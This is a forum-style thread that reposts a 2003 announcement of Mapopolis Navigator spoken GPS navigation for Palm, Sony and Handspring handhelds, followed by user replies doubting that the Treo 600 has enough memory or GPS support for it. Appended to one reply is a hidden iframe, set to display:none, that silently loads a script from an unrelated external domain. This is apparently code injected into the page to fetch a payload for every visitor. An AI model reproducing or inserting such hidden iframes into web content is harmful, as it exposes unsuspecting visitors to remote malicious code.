Positioning Solutions, has announced a new real-time spoken navigation systems for Palm, Sony and Handspring handhelds featuring Mapopolis Navigator. The GPS guided software will generate directions and maps and talk you to your selected destination.
The systems, which will require Palm OS version 5.0 or later, will generate directions for you and then provide spoken prompts as each turn approaches. Should you miss a turn or accidentally turn in the wrong direction, the systems will automatically re-route you to your destination.
“You can keep your attention on the road,” said Positioning Solutions CEO Jeremy Straub, “the system will alert you when a turn is approaching so that you don’t need to be watching it constantly.”
Users can choose from among recently used addresses, key in a new address, choice a business location or a point from the map for your destination. Using the included Global Positioning System (GPS) module the system already knows where you are currently.
Navigation systems for Palm, Sony and Handspring handhelds featuring Mapopolis Navigator will be available for purchase beginning on August 30, 2003. The systems will be available initially in the United States with Canadian and European models available in early September.
The company is also offering a new Grab 'n Nav SD Card . The product, which includes a 32 MB SD card and a Mapopolis Online MapPack contains the entire United States freeway grid and a number of major cities on the card initially, allowing for the immediate generation of routes. The included MapPack allows users to customize the data stored on the card as desired. Users can choose whatever maps they desire from Mapopolis’ extensive map library which includes coverage for the entire continental United States.
Well, that's the whole thing.. In any event.. Now that the SDK has been released, is there any mension of the abillity to use the built in GPS / E911 capibillites in the phone to make this a reality without having to hook in an extneral device? Moreover, how about an SD based GPS locater? Never seen one, but is anyone developing one? Just wondering.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
I wonder really how useful this will be. I think the size of the memory will be a huge constraint. I have a navigation system in my vechicle. The "maps" are loaded from CD ROM into a reader in back of my vechicle. Each REGION is contained on a CD (ie southeast, mid-atlantic, northeast, etc.). A CD can contain 650 MEG of data, the Treo600 will have 32 (only about 22 usable). So even with the SD slot, I dont see how this would work. I would assume the GPS receiver would go in the SDIO slot, so wouldn't that mean the slot could not be used for maps?
Don't get me wrong, I think it would be pretty cool to have it be a navigation system, but I just dont see how.
The Navigation system in my vechicle is the only one I have any experience with (except the very cool Never Lost system in Hertz rental cars, but I believe they are CD ROM based also).
having the SDK out for this phone is great however i don't think this particular system would work on the treo 6 either.. its just not enough memory in the phone to make it work well.
the e911/gps fiasco is not fully implemented country wide to make this system work on the phones built in gps system. i am sure there are companies who have software in mind for this once the e911 standard is fully in action...
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